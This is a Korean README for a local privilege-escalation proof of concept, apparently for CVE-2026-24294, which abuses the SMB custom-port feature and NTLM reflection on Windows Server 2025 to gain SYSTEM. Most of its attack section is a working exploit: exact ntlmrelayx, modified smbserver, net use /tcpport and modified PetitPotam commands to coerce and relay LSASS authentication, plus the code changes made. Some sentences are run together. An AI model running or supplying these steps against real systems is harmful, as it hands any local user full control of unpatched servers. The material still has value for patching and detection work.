
로컬 권한 상승 PoC for CVE-2026-24294, SMB 임의 포트와 NTLM 리플렉션을 악용하여 Windows Server 2025에서 SYSTEM 권한을 획득합니다.
Windows 11 24H2 / Server 2025에 도입된 SMB 임의 포트 기능을 악용하여 NTLM 리플렉션을 통해 Windows Server 2025에서 로컬 권한 상승을 수행합니다.
Windows 11 24H2 / Server 2025에는 임의 TCP 포트에서 연결을 허용하는 SMB 클라이언트 기능(net use \\host\share /tcpport:PORT)이 도입되었습니다. SMB 세션 멀티플렉싱(MS-SMB2 섹션 3.2.4.2)과 결합하면 로컬 NTLM 리플렉션이 가능해집니다. 즉, 낮은 권한의 사용자가 권한 있는 서비스(LSASS)를 강제로 공격자가 제어하는 비표준 포트의 SMB 서버에 인증하도록 만든 다음, 캡처된 NTLM 인증을 포트 445의 실제 SMB 서비스로 릴레이할 수 있습니다.
영향: 모든 로컬 사용자로부터 NT AUTHORITY\SYSTEM 권한 획득.
영향을 받는 버전: Windows Server 2025(기본 구성). Windows 11 24H2는 SMB 서명을 강제하여 릴레이를 차단합니다.
LSASS (SYSTEM) ──NTLM──► SMB 클라이언트 ──TCP:12345──► smbserver.py (공격자)
│
▼ NTLM 블롭 릴레이
SMB 서비스 (:445) ◄────────────────── ntlmrelayx.py
← SYSTEM 세션
net use가 사용자 지정 포트의 공격자 SMB 서버에 TCP 연결을 엽니다.\\127.0.0.1\share에 인증하도록 만듭니다.터미널 3개를 엽니다.
터미널 1 — ntlmrelayx 시작(RAW 포트 6666에서 수신, localhost SMB로 릴레이):
python ntlmrelayx.py --no-smb-server --no-http-server --no-wcf-server --no-winrm-server --no-rpc-server --no-mssql-server --no-rdp-server -t smb://127.0.0.1 -c "whoami" -smb2support --raw-port 6666
터미널 2 — 수정된 smbserver 시작(포트 12345에서 수신, NTLM을 포트 6666으로 릴레이):
python smbserver.py test . -port 12345 -smb2support -username user -password user -relay-port 6666
터미널 3 — 익스플로잇 실행:
:: 사용자 지정 포트에 공유 마운트(영구 TCP 연결 열기)
net use \\127.0.0.1\test /tcpport:12345 /user:user user
:: LSASS를 강제로 공격자 SMB 서버에 인증하도록 만들기
PetitPotam.exe 127.0.0.1 localhost 2
ntlmrelayx의 whoami 출력에 NT AUTHORITY\SYSTEM이 표시됩니다.
PetitPotam/ — 수정된 PetitPotam 소스. 업스트림과의 두 가지 변경 사항:
df1941c5-fe89-4e79-bf10-463657acf44d(WS2025 EFSRPC 인터페이스)\pipe\efsrpcEfsRpcEncryptFileSrv) 사용, 공유 이름은 test로 하드코딩됨smbserver.py — -relay-port 플래그가 추가된 수정된 impacket smbserver. SMB2 SESSION_SETUP을 후킹하여 멀티플렉싱된 연결에서 두 번째 NTLM 인증을 캡처하고 RAW 릴레이 서버(ntlmrelayx --raw-port)로 릴레이합니다.이 PoC는 다음에 설명된 연구 및 기법을 기반으로 주로 AI(GLM 5.1)가 작성했습니다: